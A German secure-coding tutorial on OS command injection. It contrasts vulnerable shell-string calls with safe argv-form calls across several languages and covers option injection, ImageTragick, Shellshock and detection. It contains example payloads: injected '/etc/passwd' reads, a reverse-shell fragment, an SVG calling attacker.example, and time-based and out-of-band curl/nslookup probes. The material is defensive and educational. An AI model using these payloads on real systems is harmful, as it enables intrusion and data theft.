OS-Command-Injection ist eine der gefährlichsten Injection-Klassen — weil das Ergebnis bei Erfolg fast immer Remote Code Execution auf dem Server ist. Eine einzige Zeile os.system("convert " + filename) mit user-kontrolliertem Filename reicht. Dieser Artikel zeigt die typischen Quellen, das fundamentale Schutz-Pattern (argv-Form ohne Shell) und warum auch erfahrene Entwickler:innen die Klasse immer wieder bauen — meist aus Bequemlichkeit beim Aufruf externer Tools.

Wie Command Injection entsteht

Die Klasse entsteht, wenn eine Anwendung einen Shell-Befehl zusammenbaut, indem sie User-Input in einen String einfügt, der dann an die Shell übergeben wird. Die Shell interpretiert Sonderzeichen (;, &&, |, backticks, $()) als Trennzeichen zwischen Befehlen.

Klassisches Node.js-Beispiel:

JavaScript command-injection-node.js
// Schadhaft
const { exec } = require('child_process');
exec(`ping -c 1 ${userHost}`, (err, stdout) => {
  res.send(stdout);
});

Mit userHost = "google.com; cat /etc/passwd" führt die Shell zwei Befehle aus:

Bash resulting-shell-call.sh
ping -c 1 google.com; cat /etc/passwd

Der Inhalt von /etc/passwd landet in der Response. Remote File-Read auf dem Server, ohne dass es vom Web-Code beabsichtigt war.

Schadens-Eskalation:

Sobald RCE im Web-Server-Prozess geht, kann ein:e Angreifer:in:

  • Datei-System lesen (cat, find).
  • Datei-System schreiben (echo > /tmp/...).
  • Reverse-Shell aufbauen (bash -i >& /dev/tcp/...).
  • Persistenz aufbauen (Cron-Job, Service-Datei).
  • Lateral Movement zu anderen Services.
  • Cloud-Credentials abgreifen (IMDS, ~/.aws/credentials).

Command-Injection ist deshalb in der OWASP Top 10 (A03) und der CWE Top 25 (CWE-77, CWE-78) konstant unter den ersten Plätzen.

Die argv-Form — die strukturelle Lösung

Die saubere Antwort: niemals eine Shell aufrufen mit String-Konkat. Stattdessen das Programm direkt mit einer Argument-Liste aufrufen — die Shell ist nicht beteiligt.

Node.js:

JavaScript node-argv-secure.js
// Schadhaft
const { exec } = require('child_process');
exec(`ping -c 1 ${userHost}`, callback);

// Sicher: spawn mit argv-Liste, KEIN shell
const { spawn } = require('child_process');
const child = spawn('ping', ['-c', '1', userHost], { shell: false });
let output = '';
child.stdout.on('data', d => output += d);
child.on('close', code => {
  // userHost wird als EINEN String-Parameter übergeben,
  // keine Shell, keine Sonderzeichen-Interpretation
});

// Auch sicher: execFile mit argv
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', userHost], (err, stdout) => {
  // ...
});

Python:

Python python-argv-secure.py
# Schadhaft
import os
os.system(f"ping -c 1 {user_host}")

# Sicher: subprocess.run mit Liste, shell=False (Default)
import subprocess
result = subprocess.run(
  ["ping", "-c", "1", user_host],
  capture_output=True,
  text=True,
)
# user_host wird als einzelner Argument übergeben,
# keine Shell-Interpretation

PHP:

PHP php-argv-secure.php
// Schadhaft
system("ping -c 1 " . $user_host);

// Sicher: proc_open mit escapeshellarg
$cmd = "ping -c 1 " . escapeshellarg($user_host);
$output = shell_exec($cmd);

// Noch besser: proc_open mit argv-Array
$proc = proc_open(
  ['ping', '-c', '1', $user_host],
  [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
  $pipes
);

Ruby:

Ruby ruby-argv-secure.rb
# Schadhaft
`ping -c 1 #{user_host}`
system("ping -c 1 #{user_host}")

# Sicher: system mit Array (umgeht Shell)
system('ping', '-c', '1', user_host)
# Oder Open3 für Output-Capture
require 'open3'
stdout, status = Open3.capture2('ping', '-c', '1', user_host)

Java:

Java java-argv-secure.java
// Schadhaft
Runtime.getRuntime().exec("ping -c 1 " + userHost);

// Sicher: String-Array statt String
Runtime.getRuntime().exec(new String[]{"ping", "-c", "1", userHost});

// Besser: ProcessBuilder
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userHost);
pb.redirectErrorStream(true);
Process proc = pb.start();

Go:

Go go-argv-secure.go
// Sicher: exec.Command mit getrennten Argumenten
cmd := exec.Command("ping", "-c", "1", userHost)
output, err := cmd.Output()

Das Muster ist universell: Programm-Name als erstes Argument, alle weiteren als separate Strings. Keine Shell zwischendrin. Sonderzeichen in den Argument-Strings sind dann Teil der Daten — kein Code mehr.

shell:true und exec() — die Stolperfallen

In Node.js und vielen anderen Sprachen gibt es zwei Modi:

  • exec() / shell: true — Programm wird durch die System-Shell (bash, cmd.exe) aufgerufen. Sonderzeichen werden interpretiert.
  • spawn() / execFile() / shell: false — Programm wird direkt aufgerufen, keine Shell. Argumente sind Daten.

Node.js mit shell: true ist gefährlich:

JavaScript node-shell-true-trap.js
const { spawn } = require('child_process');
// ⚠️ Mit shell: true ist die argv-Trennung egal — alles wird in eine Shell-Kommandozeile gesteckt
const child = spawn('ping', ['-c', '1', userHost], { shell: true });
// userHost = "google.com; cat /etc/passwd" — Shell führt beides aus

shell: true macht aus dem sicheren spawn einen unsicheren exec. Niemals shell: true mit User-Input kombinieren.

Was wann nötig ist:

  • Shell-Features (Pipes, Redirects, Wildcards) — nur dort ist shell: true legitim. Aber selbst dann: User-Input sollte komplett aus dem Shell-String herausgehalten werden.
  • Pures Programm-Aufrufshell: false (Default in spawn und execFile). Immer.

Sub-Prozess-Wrappers in höheren Frameworks:

Viele Frameworks haben höhere APIs (Express-Middlewares, FastAPI-Background-Tasks), die intern subprocess nutzen. Wenn diese Wrappers User-Input direkt in Shell-Commands fließen lassen, ist die Lücke da — auch wenn der Anwendungs-Code „nur" eine Library nutzt.

shell-quote und escapeshellarg sind nicht zuverlässig

Manche Library-Empfehlungen sagen: „Wenn du Shell brauchst, escape die Werte mit shell-quote (Node.js) oder escapeshellarg (PHP)." Das funktioniert manchmal — und ist schlechter als die argv-Form.

Probleme mit escapeshellarg:

  • Funktioniert pro Argument, nicht pro Command-Line. Wer mehrere Argumente baut, muss jedes einzeln escapen.
  • Shell-Dialekt-spezifisch — Bash vs. cmd.exe vs. PowerShell haben unterschiedliche Escape-Regeln.
  • Historische CVE-Klassen durch fehlerhafte Escape-Implementierungen — z. B. escapeshellarg mit %-Zeichen-Edge-Cases in Windows.
  • Bypass-Patterns durch Encoding-Tricks (UTF-8, Locale-Settings).

Beispiel-Fallstrick mit shell-quote:

JavaScript shell-quote-pitfall.js
const shellQuote = require('shell-quote');

// Wirkt sicher
const cmd = shellQuote.quote(['ping', '-c', '1', userHost]);
exec(cmd, callback);

// Aber: shell-quote hatte historisch CVE-Lücken bei bestimmten Special-Chars
// Und vor allem: warum überhaupt Shell? spawn() ohne Shell ist einfacher und sicherer.

Universelle Regel: Wenn du shell-quote / escapeshellarg einsetzt, hast du wahrscheinlich das falsche Werkzeug — nimm spawn/subprocess.run/ProcessBuilder ohne Shell. Das löst das Problem an der Wurzel.

Path-Argumente als versteckter Vektor

Auch ohne klassische Shell-Sonderzeichen kann User-Input gefährlich sein, wenn es als Pfad oder Option an ein Tool geht:

Path-Manipulation via --:

JavaScript dash-dash-trick.js
// Schadhaft (selbst mit argv-Form)
spawn('grep', [userPattern, '/var/log/app.log'], { shell: false });

// userPattern = "--rsh=cat /etc/passwd"
// Manche Tools (z. B. ältere rsync, git) interpretieren --rsh als Option

Die argv-Form schützt vor Shell-Interpretation, aber nicht vor Optionen-Injektion im aufgerufenen Tool. Eine Argument-Form wie -flag oder --option wird vom Tool als Konfigurations-Anweisung interpretiert.

Schutz:

  • -- als Trenner vor User-Input — viele Tools interpretieren danach folgende Argumente als Pfade/Daten, nicht als Optionen.
JavaScript double-dash-separator.js
spawn('grep', [userPattern, '--', '/var/log/app.log'], { shell: false });
// Mit `--` vor weiteren Argumenten: grep interpretiert userPattern nicht als Option
  • Allowlist für User-Eingaben, die als Argumente fließen — z. B. nur Buchstaben/Zahlen erlauben.
  • Tool-Spezifika studieren — manche Tools haben Tool-spezifische Sub-Injection-Klassen (tar --use-compress-program, git --upload-pack, etc.).

Reale Vorfälle:

  • Git RCE via --upload-pack (2018, CVE-2018-17456) — Submodule-URL mit Option-Injection.
  • wget RCE via --output-document mit speziellen URLs.
  • find-exec-Pattern mit Option-Trickery.

Filename-basierte Vektoren

Eine besonders heimtückische Klasse: Dateinamen aus User-Upload, die später an Tools übergeben werden.

Klassisches ImageMagick-Beispiel (CVE-2016-3714 „ImageTragick"):

Bash imagetragick-payload.svg
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="640" height="480">
  <image xlink:href="url(https://attacker.example/`id`)" />
</svg>

Wenn ein Server diese SVG mit ImageMagick verarbeitet, führt ImageMagick die URL-Auflösung über eine intern aufgerufene Shell durch — der id-Befehl in den Backticks läuft. RCE.

ImageMagick hat 2016 nach dem Vorfall die Policy-Datei eingeführt, mit der gefährliche Delegate-Aufrufe deaktiviert werden:

XML imagemagick-policy.xml
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="HTTP" />

Allgemeine Regel:

  • Hochgeladene Dateien mit kontrolliertem Dateinamen speichern — niemals den User-supplied Filename als Argument an ein Tool geben.
  • Datei-Inhalte validieren (Magic-Bytes, Format-Check) vor Verarbeitung.
  • Tool-Sandboxing (Container, gVisor, Firejail) für externe Tools, die User-Input verarbeiten.

Vertieft in file-upload-und-pfad-traversal.

Reale Vorfälle

Shellshock (2014, CVE-2014-6271) — bash-Schwachstelle: Bash interpretierte Environment-Variablen, die mit () { :; }; begannen, als Funktions-Definition mit Trailing-Code. Web-Server, die CGI-Scripts aufriefen und HTTP-Header in Environment-Variablen mappten, waren angreifbar — ein präparierter User-Agent-Header führte zu RCE. Eine der einflussreichsten Sicherheits-Lücken der 2010er.

ImageTragick (2016, CVE-2016-3714): Siehe oben. ImageMagick als weit verbreitete Image-Library war angreifbar. Massen-Scanner gegen Web-Apps mit Image-Upload.

Shopify, Slack, GitLab — Command-Injection-Bug-Bounty-Reports (laufend): Bug-Bounty-Programme zeigen regelmäßig RCE-Funde durch Command-Injection in Custom-Tool-Aufrufen. Auszahlungen oft im fünf- bis sechsstelligen Bereich.

Microsoft Exchange — mehrere Command-Injection-CVEs in PowerShell-Endpunkten (HAFNIUM-Welle 2021).

Apache Struts — mehrere OGNL-zu-Command-Injection-Vektoren (Equifax-Vorfall 2017).

Command-Injection ist eine High-Severity-Klasse mit konsistenter Vorfall-Geschichte. Wer Tools aus Code aufruft, sollte das Pattern-Bewusstsein haben.

Test-Strategien

Manuelle Tests:

Klassische Payloads für Detection:

Plain command-injection-payloads.txt
; sleep 5
&& sleep 5
| sleep 5
$(sleep 5)
`sleep 5`

# Windows
& timeout 5
&& timeout 5
| timeout 5

Wenn die Response 5 Sekunden länger braucht als normal — Time-Based-Detection positiv.

Out-of-Band-Detection:

Manche Apps verschlucken Output. DNS-basierte Detection:

Plain oob-payloads.txt
; nslookup unique-id.attacker.example
$(curl https://unique-id.attacker.example)

Wenn der/die Angreifer:in eine DNS-/HTTP-Anfrage von der App-Server-IP sieht — Command-Injection bestätigt.

Tools:

  • Burp Suite Pro mit aktivem Scanner — findet die meisten Standard-Patterns.
  • OWASP ZAP Command-Injection-Plugin.
  • Commix — spezialisiertes Tool für Command-Injection-Tests (analog zu sqlmap).

Statische Analyse:

  • Semgrep mit injection-Pattern für exec, system, shell_exec.
  • CodeQL mit Sicherheits-Pack — erkennt User-Input-zu-exec-Pfade.
  • eslint-plugin-security für Node.js — warnt vor child_process.exec mit Variable.

Code-Review-Pattern:

Grep nach:

  • exec(, system(, popen(, shell_exec(, Runtime.exec(, subprocess.run(...shell=True).
  • spawn mit shell: true.
  • Backticks in Ruby/Perl/PHP (Inline-Shell-Exec).

Häufige Stolperfallen

Node.js exec() vs. execFile()

Klassischer Verwechsler: exec(cmd) nutzt Shell, execFile(cmd, [args]) nicht. exec ist auch dann gefährlich, wenn der Code wie eine argv-Liste aussieht — der erste String wird trotzdem von der Shell interpretiert. execFile oder spawn mit shell: false sind die richtige Wahl.

Python subprocess: shell-Parameter ist die Falle

subprocess.run(["ls", "-l"]) ist sicher. subprocess.run("ls -l", shell=True) auch — wenn der String hardcoded ist. Wenn aber subprocess.run(f"ls {user_dir}", shell=True) mit User-Input — Command-Injection. Konsequente Liste + shell=False (Default) ist die einzige strukturell sichere Form.

PHP escapeshellcmd ist NICHT escapeshellarg

Zwei verschiedene Funktionen mit ähnlichem Namen. escapeshellcmd escapt einen ganzen Command-String — schwächer und oft falsch verstanden. escapeshellarg escapt ein einzelnes Argument — besser, aber immer noch shell-basiert. proc_open mit argv-Array ist die saubere Lösung.

Windows hat eigene Shell-Eigenheiten

cmd.exe versus PowerShell versus modernes Terminal — alle haben unterschiedliche Escape-Regeln und Sonderzeichen. %VARIABLE%-Substitution in cmd.exe ist eine eigene Injection-Klasse. Bei Cross-Plattform-Code: Tests auf Windows + Linux + macOS.

Tool-spezifische Sub-Injections

Selbst mit argv-Form kann das aufgerufene Tool eigene Injection-Klassen haben. git clone {url} mit URL --upload-pack=evil — Option-Injection in git. find {path} -exec ... mit Pfad-Tricks — eigene Klasse. Pro Tool die spezifischen Risiken kennen.

curl, wget, scp — Standard-Vektoren in CI/CD

Viele CI-Pipelines rufen curl, wget, scp oder ssh mit User-konfigurierten Parametern auf. Jeder dieser Aufrufe kann eine Command-Injection-Klasse sein, wenn URLs/Pfade ungeschützt fließen. Bug-Bounty-Reports finden hier regelmäßig RCE.

Container und Sandbox als Defense-in-Depth

Selbst bei perfektem Code: das aufrufende Programm (ImageMagick, ffmpeg, ghostscript, libreoffice-headless) hat eigene Schwachstellen. Wenn deine App externe Tools mit User-Input nutzt, lohnt sich der Aufruf in isoliertem Container (gVisor, firecracker, eigene Docker-Sandbox). Schadensbegrenzung bei Zero-Day im Tool.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu Injection (SQL/NoSQL/Cmd)

Zur Übersicht